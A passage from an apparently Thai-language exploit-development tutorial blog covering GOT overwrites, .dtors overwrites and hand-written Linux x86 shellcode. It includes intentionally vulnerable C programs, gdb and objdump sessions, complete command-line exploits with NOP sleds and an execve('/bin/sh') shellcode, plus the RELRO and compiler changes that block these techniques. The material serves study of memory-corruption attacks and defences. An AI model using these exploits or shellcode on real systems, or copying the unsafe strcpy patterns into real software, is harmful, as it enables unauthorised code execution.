และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน strncpy@plt

(gdb) b *0x08048426
Breakpoint 1 at 0x8048426
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1 a b

Breakpoint 1, 0x08048426 in main ()
(gdb) si
0x08048310 in strncpy@plt ()
(gdb) disass
Dump of assembler code for function strncpy@plt:
=> 0x08048310 <+0>:     jmp    *0x8049660
   0x08048316 <+6>:     push   $0x8
   0x0804831b <+11>:    jmp    0x80482f0
End of assembler dump.
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048316

จะเห็นว่าใน strncpy@plt จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง push $0x8 ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function

และเมื่อดูใน printf@plt

(gdb) x/3i 0x8048330
   0x8048330 <printf@plt>:      jmp    *0x8049668
   0x8048336 <printf@plt+6>:    push   $0x18
   0x804833b <printf@plt+11>:   jmp    0x80482f0
(gdb) x/x 0x8049668
0x8049668 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048336

จะเห็นว่า printf@plt นั่นจะเหมือน strncpy@plt โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร

และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง

(gdb) b strncpy
Breakpoint 2 at 0x1b2a35
(gdb) c
Continuing.

Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x001b2a30
(gdb) x/5i 0x001b2a30
   0x1b2a30 <strncpy>:  push   %ebp
   0x1b2a31 <strncpy+1>:        mov    %esp,%ebp
   0x1b2a33 <strncpy+3>:        push   %edi
   0x1b2a34 <strncpy+4>:        push   %esi
=> 0x1b2a35 <strncpy+5>:        sub    $0x4,%esp

จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ

ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)

จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้

หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT

จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้

$ objdump -R ./ex_09_1

./ex_09_1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf

ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode

$ ulimit -c unlimited
$ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'`
ptr address: 0x41414141
Segmentation fault (core dumped)
$ gdb ./ex_09_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/12x $esp
0xbffff2fc:     0x41414141      0x00000000      0x00000000      0xbffff538
0xbffff30c:     0x08048466      0x41414141      0xbffff912      0x00000004
0xbffff31c:     0xbffff364      0xbffff370      0x00000070      0x0012c524
(gdb)
0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141

ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น

$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'`
ptr address: 0x8049668
$ ps -f f
UID        PID  PPID  C STIME TTY      STAT   TIME CMD
worawit   1581  1580  0 20:08 pts/0    Ss     0:00 -bash
worawit   1718  1581  0 20:11 pts/0    S      0:00  \_ [sh]
worawit   1720  1718  0 20:11 pts/0    R+     0:00      \_ ps -f f

เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้

$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c
$ objdump -R ./ex_09_1_2

./ex_09_1_2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
08049fec R_386_JUMP_SLOT   __gmon_start__
08049ff0 R_386_JUMP_SLOT   strncpy
08049ff4 R_386_JUMP_SLOT   __libc_start_main
08049ff8 R_386_JUMP_SLOT   printf
$ gdb ./ex_09_1_2
...
(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1_2

Breakpoint 1, 0x08048417 in main ()
(gdb) info proc
process 1297
cmdline = '/home/worawit/tutz/ch09/ex_09_1_2'
cwd = '/home/worawit/tutz/ch09'
exe = '/home/worawit/tutz/ch09/ex_09_1_2'
(gdb) shell grep ex_09 /proc/1297/maps
08048000-08049000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2
08049000-0804a000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2  # จะเห็นว่า GOT อยู่ใน section นี้
0804a000-0804b000 rwxp 00001000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2

Reference:
- http://www.iecc.com/linker/linker10.html
- http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html

Friday, February 25, 2011

Overwriting dtors

ในหัวข้อนี้ ผมจะพูดถึงเทคนิคการเขียน exploit ด้วยการ overwrite C destructor ซึ่งเทคนิคนี้ ไม่สามารถใช้ได้แล้วใน GCC version ที่ใช้กันอยู่ แต่ที่พูดถึงก็เพื่อเป็นตัวอย่างในการศึกษา

หลายคนอาจไม่รู้ว่าใน glibc นั้นมี constructor และ destructor ด้วย วัตถุประสงค์จะเหมือนใน C++ คือส่วนที่ทำงานก่อนโปรแกรมจะเริ่มที่ main() และส่วนที่ทำงานก่อนโปรแกรมจะจบ (หลัง main()) รวมถึงการออกด้วย exit() เช่นตามตัวที่อย่างที่ 1 (ex_08_1.c)

/* gcc-3.4 -o ex_08_1 ex_08_1.c */
#include <stdio.h>

void test_ctor() __attribute__ ((constructor));
void test_dtor() __attribute__ ((destructor));

void test_ctor()
{
    printf("In ctor\n");
}

void test_dtor()
{
    printf("In dtor\n");
}

int main()
{
    printf("In main\n");
    printf("Address of test_ctor: %p\n", &test_ctor);
    printf("Address of test_dtor: %p\n", &test_dtor);
    return 0;
}

และเมื่อ compile ด้วย gcc-3 และ run จะได้ผลตามนี้

$ ./ex_08_1
In ctor
In main
Address of test_ctor: 0x804834c
Address of test_dtor: 0x8048360
In dtor

แล้วถ้าเราไล่ดู code จะพบว่า constructor นั้นถูกเรียกจาก __do_global_ctors_aux function และ destructor จะถูกเรียกจาก __do_global_dtors_aux โดย 2 functions นี้ เพิ่มขึ้นมาเมื่อเรา compile โปรแกรมด้วย gcc

Note: สำหรับคนที่อยากไล่ด้วย gdb ให้ใช้คำสั่ง objdump -f ex_08_1 เพื่อดู entry point ของโปรแกรม แล้ว set breakpoint ที่ entry point ก่อนจะเริ่มโปรแกรม

โดย function list ของ constructor และ destructor นั้นจะถูกเก็บไว้ใน .ctors และ .dtors section ซึ่งสามารถดูได้ด้วยคำสั่ง objdump ดังนี้

$ objdump -s -j .ctors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .ctors:
 80494e0 ffffffff 4c830408 00000000           ....L.......
$ objdump -s -j .dtors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .dtors:
 80494ec ffffffff 60830408 00000000           ....`.......

จากผลลัพธ์ของ objdump จะได้ว่า .ctors section นั้นถูกโหลดใน memory ที่ address 0x080494e0 และ .dtors section ที่ address 0x080494ec และสังเกตเห็นมั้ยครับว่าค่า 4c830408 กับ 60830408 คือ address ของ test_ctor() กับ test_dtor() ตามลำดับ เมื่อเราไล่ดู assembly code ของ __do_global_dtors_aux() function ที่ได้มาจาก objdump

$ objdump -d -j .text ex_08_1 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
080482f4 <__do_global_dtors_aux>:
 80482f4:       55                      push   %ebp
 80482f5:       89 e5                   mov    %esp,%ebp
 80482f7:       83 ec 08                sub    $0x8,%esp
 80482fa:       80 3d ec 95 04 08 00    cmpb   $0x0,0x80495ec # check ว่า destructor ถูกเรียกไปหรือยัง
 8048301:       3e 74 0c                je,pt  8048310 <__do_global_dtors_aux+0x1c>
 8048304:       eb 1c                   jmp    8048322 <__do_global_dtors_aux+0x2e>
 8048306:       83 c0 04                add    $0x4,%eax
 8048309:       a3 e8 95 04 08          mov    %eax,0x80495e8
 804830e:       ff d2                   call   *%edx  # เรียก destructor function
 8048310:       a1 e8 95 04 08          mov    0x80495e8,%eax  # เอา address ที่เก็บ address ของ dtors ลง eax
 8048315:       8b 10                   mov    (%eax),%edx # โหลด address ของ destructor function ลง edx
 8048317:       85 d2                   test   %edx,%edx # จบการเรียก destructor ถ้า address เป็น 0
 8048319:       75 eb                   jne    8048306 <__do_global_dtors_aux+0x12>
 804831b:       c6 05 ec 95 04 08 01    movb   $0x1,0x80495ec
 8048322:       c9                      leave
 8048323:       c3                      ret

จะเห็นว่าใน __do_global_dtors_aux() จะวนเรียก function ที่อยู่ใน dtors จน address ของ function เป็น 0 ดังนั้นเมื่อเกิด buffer overflow แล้วเราสามารถเขียนทับที่ addresss ไหนก็ได้ การเขียนทับ address ของ dtor ก็เป็นวิธีหนึ่งที่ทำให้โปรแกรมทำงานที่ address ที่เราต้องการได้

เรามาดูตัวอย่าง exploit ที่ใช้วิธีการเขียนทับ dtors กันดีกว่า โดยผมให้โปรแกรมที่มีช่องโหว่ดังนี้ (ex_08_2.c)

/* gcc-3.4 -fno-pie -z norelro -z execstack -o ex_08_2 ex_08_2.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *ptr;
    char buf[512];

    ptr = buf;
    strcpy(buf, argv[1]);
    strcpy(ptr, argv[2]);

    exit(0);
}

จะเห็นว่าปัญหาของโปรแกรมนี้คือใช้ strcpy กับ input ของผู้ใช้ตรงๆ เหมือนตัวอย่างที่ผมเคยยกมา แต่ความแตกต่างคือมี exit(0); ซึ่งทำให้โปรแกรมไม่ได้จบ main() function ด้วยคำสั่ง assembly ret แต่เปลี่ยนเป็นออกโปรแกรมทันที ทำให้ shellcode ของเราไม่ทำงาน ถึงแม้ว่าเราจะเขียนทับ saved eip ก็ตาม

อีกหนึ่งประเด็นที่อย่างให้เห็นคือ ถ้าเราใส่ค่า argv[1] ไปยาวมากๆ จะทำให้ค่า argv ซึ่งเป็น argument ของ main function ถูกเปลี่ยนไปด้วย ทำให้การอ้างถึง argv[2] ในบรรทัดถัดไป อาจไปอ้างถึง address ที่ invalid (หวังว่ายังจำกันได้ว่า function argument อยู่ข้างล่าง saved eip) ทำให้โปรแกรม crash ก่อนที่โปรแกรมจะเริ่มทำงาน shellcode ของเรา ดังนั้นเวลาเขียน exploit สิ่งหนึ่งที่ต้องระวังคือ ต้องไม่ทำให้โปรแกรม crash ก่อนที่จะโปรแกรมจะมาทำงานในส่วนที่เราต้องการ

แล้วสิ่งที่เราสามารถทำได้ละ ถ้าลองดูที่ assembly ของโปรแกรมนี้ (ข้างล่าง) จะเห็นว่าตัวแปร ptr อยู่ข้างล่าง buf ซึ่งทำให้เราสามารถแก้ไขค่า ptr ได้ โดยการ overflow ตัวแปร buf และคำสั่ง strcpy ที่สองคือการ copy ข้อมูลจาก argv[2] ไปที่ตัวแปร ptr ชี้อยู่ ดังนั้นสิ่งที่เราทำได้ในโปรแกรมนี้ เขียนข้อมูลที่ address ไหนก็ได้ใน memory โดยผมจะแสดงเฉพาะวิธีเขียนทับ dtor (ในตัวอย่างนี้ผมไม่มีการ setuid นะครับ ทำแค่ spawn shell อย่างเดียว)

ก่อนอื่นเรามาดูว่าเราต้องใส่ข้อมูลเท่าไรถึงจะ overwrite ค่า ptr ได้ ซึ่งเมื่อดูใน assembly จะได้ว่าต้องเขียนไป 0x218-0xc = 0x20c = 524 bytes ก่อนจะถึง ptr (วิธีไล่ของผมก็คือหาคำสั่ง strcpy ก่อน แล้วค่อยจะหาตำแหน่งของ buf กับ ptr จากที่ถูกส่งเป็น argument แรก)

$ objdump -d -j .text ex_08_2 | awk /^.*main\>:$/,/^$/
0804837c <main>:
 804837c:       55                      push   %ebp
 804837d:       89 e5                   mov    %esp,%ebp
 804837f:       81 ec 28 02 00 00       sub    $0x228,%esp
 8048385:       83 e4 f0                and    $0xfffffff0,%esp
 8048388:       b8 00 00 00 00          mov    $0x0,%eax
 804838d:       83 c0 0f                add    $0xf,%eax
 8048390:       83 c0 0f                add    $0xf,%eax
 8048393:       c1 e8 04                shr    $0x4,%eax
 8048396:       c1 e0 04                shl    $0x4,%eax
 8048399:       29 c4                   sub    %eax,%esp
 804839b:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax
 80483a1:       89 45 f4                mov    %eax,-0xc(%ebp)
 80483a4:       8b 45 0c                mov    0xc(%ebp),%eax
 80483a7:       83 c0 04                add    $0x4,%eax
 80483aa:       8b 00                   mov    (%eax),%eax
 80483ac:       89 44 24 04             mov    %eax,0x4(%esp)
 80483b0:       8d 85 e8 fd ff ff       lea    -0x218(%ebp),%eax  # buf อยู่ที่ ebp-0x218
 80483b6:       89 04 24                mov    %eax,(%esp)
 80483b9:       e8 1e ff ff ff          call   80482dc   # strcpy แรก
 80483be:       8b 45 0c                mov    0xc(%ebp),%eax
 80483c1:       83 c0 08                add    $0x8,%eax
 80483c4:       8b 00                   mov    (%eax),%eax
 80483c6:       89 44 24 04             mov    %eax,0x4(%esp)
 80483ca:       8b 45 f4                mov    -0xc(%ebp),%eax  # ptr อยู่ที่ ebp-0xc
 80483cd:       89 04 24                mov    %eax,(%esp)
 80483d0:       e8 07 ff ff ff          call   80482dc  # strcpy ที่สอง
 80483d5:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80483dc:       e8 0b ff ff ff          call   80482ec 
...

ต่อมาคือตำแหน่งของ dtor ที่เราต้องการจะเขียนทับ โดยเราจะนำค่านี้มาเขียนทับ ptr จะได้ตำแหน่งที่เราต้องการจะเขียนทับคือ 0x80494bc

$ objdump -s -j .dtors ex_08_2

ex_08_2:     file format elf32-i386

Contents of section .dtors:
 80494b8 ffffffff 00000000                    ........

สุดท้าย คือ address ของ shellcode ของเราที่จะใส่เข้าไป โดยในตัวอย่างนี้ผมจะใส่ shellcode ไว้ใน buf ดังนั้นสิ่งที่เราต้องหาคือ address ของ buf แต่คราวนี้ผมจะใช้ core file เพื่อหา address ของ shellcode ที่จะใส่เข้าไป

$ ulimit -c unlimited
$ ./ex_08_2 `perl -e 'print "A"x528'` `perl -e 'print "B"x4'`
$  gdb -q ex_08_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x001b2214 in strcpy () from /lib/tls/i686/cmov/libc.so.6  # จะเห็นว่าโปรแกรม crash ใน strcpy เพราะว่า ptr ชี้ไปที่ invalid address
#1  0x080483d5 in main ()
(gdb) x/16x $ebp
0xbffff2e8:     0xbffff528      0x080483d5      0x41414141      0xbffff913   # จะเห็นว่าค่า ptr เป็น 0x41414141 (argument ของ strcpy)
0xbffff2f8:     0xbffff30c      0x00124985      0x00000008      0x00000000
0xbffff308:     0xbffff40c      0xbffff354      0x41414141      0x41414141   # buf เริ่มที่ 0xbffff310
0xbffff318:     0x41414141      0x41414141      0x41414141      0x41414141

จะได้ว่า buf เราเริ่มที่ 0xbffff310 และผมจะใช้ execve("/bin/sh") shellcode ที่ได้จากหัวข้อการเขียน Linux x86 Shellcode ขนาด 21 bytes ดังนั้น nop เราจะมีขนาด 524-21 = 503 bytes ดังนั้น exploit จะเป็นดังนี้

$ ./ex_08_2 `perl -e 'print "\x90"x503 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\xbc\x94\x04\x08"'` `perl -e 'print "\x10\xf3\xff\xbf"'`
$ exit

ทำได้แล้ว แต่อย่างที่ผมบอกไปตอนต้นว่า เทคนิคนี้ใช้ไม่ได้แล้ว เรามาดูกันดีกว่าว่าทำไม ด้วยการลอง compile โปรแกรมที่สองด้วย gcc 4

$ gcc -fno-pie -z norelro -z execstack -o ex_08_2_gcc4 ex_08_2.c
$ objdump -s -j .dtors ex_08_2_gcc4

ex_08_2_gcc4:     file format elf32-i386

Contents of section .dtors:
 804952c ffffffff 00000000                    ........
$ objdump -d -j .text ex_08_2_gcc4 | awk /^.*__do_global_dtors_aux\>:$/,/^$/
08048370 <__do_global_dtors_aux>:
 8048370:       55                      push   %ebp
 8048371:       89 e5                   mov    %esp,%ebp
 8048373:       53                      push   %ebx
 8048374:       83 ec 04                sub    $0x4,%esp
 8048377:       80 3d 30 96 04 08 00    cmpb   $0x0,0x8049630
 804837e:       75 3f                   jne    80483bf <__do_global_dtors_aux+0x4f>
 8048380:       a1 34 96 04 08          mov    0x8049634,%eax
 8048385:       bb 30 95 04 08          mov    $0x8049530,%ebx  # เอา address สุดท้ายของ .dtor secion ลง ebx
 804838a:       81 eb 2c 95 04 08       sub    $0x804952c,%ebx  # ลบกับ address แรก ของ .dtor section
 8048390:       c1 fb 02                sar    $0x2,%ebx  # แล้วหารด้วย 4
 8048393:       83 eb 01                sub    $0x1,%ebx  # แล้วลบด้วย 1 จะได้จำนวนของ destructor function
 8048396:       39 d8                   cmp    %ebx,%eax
 8048398:       73 1e                   jae    80483b8 <__do_global_dtors_aux+0x48>
 804839a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
 80483a0:       83 c0 01                add    $0x1,%eax
 80483a3:       a3 34 96 04 08          mov    %eax,0x8049634
 80483a8:       ff 14 85 2c 95 04 08    call   *0x804952c(,%eax,4)
 80483af:       a1 34 96 04 08          mov    0x8049634,%eax
 80483b4:       39 d8                   cmp    %ebx,%eax  # ลูปจนจำนวนที่เรียก desturctor function เท่ากับที่คำนวณได้
 80483b6:       72 e8                   jb     80483a0 <__do_global_dtors_aux+0x30>
 80483b8:       c6 05 30 96 04 08 01    movb   $0x1,0x8049630
 80483bf:       83 c4 04                add    $0x4,%esp
 80483c2:       5b                      pop    %ebx
 80483c3:       5d                      pop    %ebp
 80483c4:       c3                      ret

เมื่ออ่าน assembly แล้วจะเห็นว่า เมื่อ compile ด้วย gcc4 ใน __do_global_dtors_aux function จะทำการหาจำนวนของ destructor function จาก .dtors section ซึ่งใส่ค่าตายตัวลงไป ทำให้ถึงแม้เราจะเขียนเพิ่มเหมือนในตัวอย่างที่ผ่านมา โปรแกรมก็จะไม่มีการเรียกไปที่ address ที่เราใส่เข้าไป ยกเว้นในโปรแกรมนั้น จะมี destructor function อยู่แล้ว


Reference:
- Izik 'Abusing .CTORS and .DTORS for fun 'n profit' (VX heavens)

Thursday, February 3, 2011

การเขียน Linux x86 Shellcode

ในหัวข้อ "Buffer Overflow ให้โปรแกรม spawn shell" นั้น ผมได้ให้ shellcode สำหรับ spawn shell ซึ่งคงเห็นกันแล้วว่าหน้าตา shellcode เป็นยังไง (มันก็คือ machine code นั่นแหละ) และในหัวข้อนี้ ผมจะอธิบายวิธีการเขียน shellcode บน Linux x86 (หัวข้อนี้จะต้องใช้ assembly เกือบหมดนะครับ ดังนั้นผมเลยเขียนเป็น nasm syntax ไว้ด้วยใน ex_07.tgz เพื่อความถนัดของแต่ละคน)

การทำงานของแต่ละ process โดยปกติจะทำงานอยู่ใน user mode และเมื่อโปรแกรมต้องการเรียกใช้งานที่เกี่ยวกับ Operating System จะต้องทำการเรียก System Call (เช่น fork, execve, read, write) โดยจะมีการส่ง parameters เพื่อบอกว่าต้องการทำอะไร คล้ายๆ กับการเรียก function แล้ว process นั้นจะสลับการทำงานไปอยู่ใน kernel mode และสลับกับมาทำงานใน user mode เมื่อทำงานเสร็จ (เหมือนจบ function) หรืออาจจะกล่าวได้ว่า System Calls คือ functions สำหรับเรียกใช้งาน OS

โดยปกติการเรียก system call จะทำการเรียกผ่าน C library (libc) ซึ่งทำหน้าที่เป็น wrapper เพื่อให้ code เรา port ไป compile บน OS อื่นได้ (วิธีการเรียก system call ของแต่ละ OS ไม่จำเป็นต้องเหมือนกัน) สำหรับ Linux นั้น system call จะเป็นหมายเลขเพื่อกำหนดว่าจะให้ทำอะไร ซึ่งสามารถดูได้ที่ไฟล์ /usr/include/asm/unistd.h (สำหรับคนใช้ Ubuntu 10.04 จะเห็นในไฟล์มีแค่ include ไฟล์อื่น เนื่องด้วยผมอธิบายเฉพาะ 32 bit ดังนั้นให้ใช้ไฟล์ unistd_32.h) แต่ถ้าใครชอบดู online ก็ดูได้ที่ http://syscalls.kernelgrok.com/ โดยผมได้เอาส่วนที่ผมจะพูดถึงต่อไปมาแสดงไว้ข้างล่าง

#define __NR_restart_syscall      0
#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_execve              11
#define __NR_setuid              23
#define __NR_setgid              46
#define __NR_geteuid             49
#define __NR_dup2                63
#define __NR_setreuid            70
#define __NR_socketcall         102
#define __NR_exit_group         252

ส่วนวิธีการเรียกใช้ system call ด้วย assembly คือใส่หมายเลขของ system call ไว้ที่ register eax และ arguments ต่างๆ ไว้ใน register ebx, ecx, edx, esx, edi, ebp ตามลำดับ แต่ถ้า arguments มีเกิน 6 ตัวก็ให้ใส่ address ของ argument array ไว้ที่ ebx หลังจากกำหนดค่าต่างๆใน register แล้วก็ใช้ interrupt หมายเลข 0x80 และ้ผลลัพธ์ของ system call จะ return กลับมาที่ eax

พูดถึง system call ไปพอสมควร ตอนนี้เรามาเข้าเรื่อง shellcode กันดีกว่า shellcode คือ code ที่เราต้องการให้ทำงาน เมื่อเราสามารถเปลี่ยนแปลงให้โปรแกรมไปทำงานที่ code ของเราได้ โดยสิ่งสำคัญของ shellcode ควรมีขนาดเล็ก เพราะโดบปกติขนาดของ memory ที่เราสามารถ inject code เข้าไปนั้นมีขนาดจำกัด และความแตกต่างที่สำคัญของ shellcode กับโปรแกรมปกติ คือ ถ้าต้องมีการใช้ส่วนที่เป็นข้อมูล ก็ต้องอยู่ใน shellcode ของเรา ไม่มีการแบ่งเป็น section เหมือนโปรแกรมทั่วไป

Exit Shellcode

เรามาดูตัวอย่างแรกกันดีกว่า (ex_07_1.c) เพื่อเขียน exit system call อย่างที่ผมได้บอกว่า libc เป็น wrapper ดังนั้นวิธีหนึ่งในการดูวิธีเรียก system call คือเขียน code เป็น C แล้ว compile ด้วย -static option หลังจากนั้นใช้ gdb เพื่อดูว่า assembly นั้นเขียนอย่างไร

/* gcc -static -o ex_07_1 ex_07_1.c */
#include <stdlib.h>
int main(int argc, char **argv)
{
    exit(1);
}
$ gdb -q ./ex_07_1
Reading symbols from /home/worawit/tutz/ch07/ex_07_1...(no debugging symbols found)...done.
(gdb) disass main
...  # ไล่ไปเรื่อยๆ จนเจอ function _exit ใน function __run_exit_handlers
(gdb) disas _exit
Dump of assembler code for function _exit:
 0x0804f700 <+0>:     mov    0x4(%esp),%ebx  # ใส่ argument ที่ 1 (exit value) ไว้ที่ ebx
 0x0804f704 <+4>:     mov    $0xfc,%eax      # ใส่หมายเลข system call exit_group ไว้ที่ eax
 0x0804f709 <+9>:     int    $0x80           # system call
 0x0804f70b <+11>:    mov    $0x1,%eax # ใส่หมายเลข system call exit ไว้ที่ eax (ebx ใช้ค่าเดิม)
 0x0804f710 <+16>:    int    $0x80           # system call
 0x0804f712 <+18>:    hlt
End of assembler dump.

อีกวิธี เพื่อดูว่ามีการเรียก system call อะไร ด้วย argument อะไรบ้าง คือคำสั่ง strace

$ strace ./ex_07_1
execve("./ex_07_1", ["./ex_07_1"], [/* 20 vars */]) = 0
...
exit_group(1)                           = ?

จะเห็นว่า ผลที่ได้จาก gdb และ strace นั้น แสดงว่า libc ใช้ exit_group system call แล้ว exit_group คืออะไร และทำไมถึงไม่ใช่ exit system call ละ exit_group system call คือคำสั่งที่ใช้สำหรับ exit ทุก thread แต่ exit system call จะออกเฉพาะ thread ของตัวเองเท่านั้น เนื่องด้วย libc เป็น wrapper เพื่อความสะดวกของ programmer จึงได้เขียนให้ exit() function นั้นเรียก exit_group

หลังจากเห็นเกี่ยวกับ exit system call มาพอสมควร เรามาเริ่มเขียนกันใน assembly กันดีกว่า โดยผมจะใช้ AT&T syntax นะครับ ซึ่งจะได้ดังนี้ (ex_07_2.s)

.data
.text

.globl _start

_start:

# exit(0)
movl $0x1,%eax
movl $0,%ebx
int  $0x80

ใช้คำสั่ง as เพื่อ compile เป็น machine code ใน object file และใช้คำสั่ง objdump เพื่อดู machine code

$ as -o ex_07_2.o ex_07_2.s
$ objdump -d ex_07_2.o

ex_07_2.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0:   b8 01 00 00 00          mov    $0x1,%eax
   5:   bb 00 00 00 00          mov    $0x0,%ebx
   a:   cd 80                   int    $0x80

จะได้ shellcode คือ

\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

โดยเราสามารถทดสอบ shellcode ของเราได้โดยใช้ C code ที่เป็น template ที่เตรียมไว้ไฟล์ testshellcode.c (ไม่แสดง code นะครับ) แต่จะเห็นว่ากว่าจะได้ shellcode เราต้องทำทีละ command และค่อย copy machine code ออก ผมจึงได้เขียน shell script สำหรับทำทั้งหมดไว้แล้ว (build-sc.sh และ clean-sc.sh)

$ build-sc.sh ex_07_2
Compiling ex_07_2.s to ex_07_2.o

Extracting shellcode from ex_07_2.o to ex_07_2.sc
\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

Creating ex_07_2.sctest.c

Compiling ex_07_2.sctest.c to ex_07_2.sctest
$ ls ex_07_2*
ex_07_2.o  ex_07_2.s  ex_07_2.sc  ex_07_2.sctest  ex_07_2.sctest.c

วิธี check ว่า shellcode เราเรียก system call ถูกต้องคือใช้ strace จะเห็นว่ามีการเรียก exit system call ตามนี้

$ strace ./ex_07_2.sctest
execve("./ex_07_2.sctest", ["./ex_07_2.sctest"], [/* 20 vars */]) = 0
...
_exit(0)                                = ?

ได้แล้ว exit shellcode แต่จะเห็นว่าตอนนี้ shellcode ของเรามีขนาด 12 bytes และที่สำคัญคือมี \x00 ซึ่งปัญหา buffer overflow ส่วนมากเกิดจาก function พวก strcpy() ที่จะหยุด copy เมื่อเจอ \x00 ทำให้ไม่สามารถ copy shellcode ของเราไปทั้งหมด ดังนั้นสิ่งที่เราควรจะแก้คือทำให้ไม่มี \x00 ซึ่งอาจทำการแก้ assembly code ได้ดังนี้ (ex_07_3.s)

.data
.text

.globl _start

_start:

# exit(0)
xorl %eax,%eax   # ใช้ xor เพื่อกำหนดค่า eax เป็น 0
xorl %ebx,%ebx   # ใช้ xor เพื่อกำหนดค่า ebx เป็น 0
movb $1,%al  # กำหนดค่า eax เป็น 1 สามารถใช้ movb ลงใน al เพราะ eax เป็น 0 แล้ว และทำให้ไม่ให้มี \x00
int  $0x80

ซึ่งเมื่อ compile และดูด้วย assembly code ด้วย objdump จะได้

$ build-sc-gas.sh ex_07_3
...
Extracting shellcode from ex_07_3.bin to ex_07_3.sc
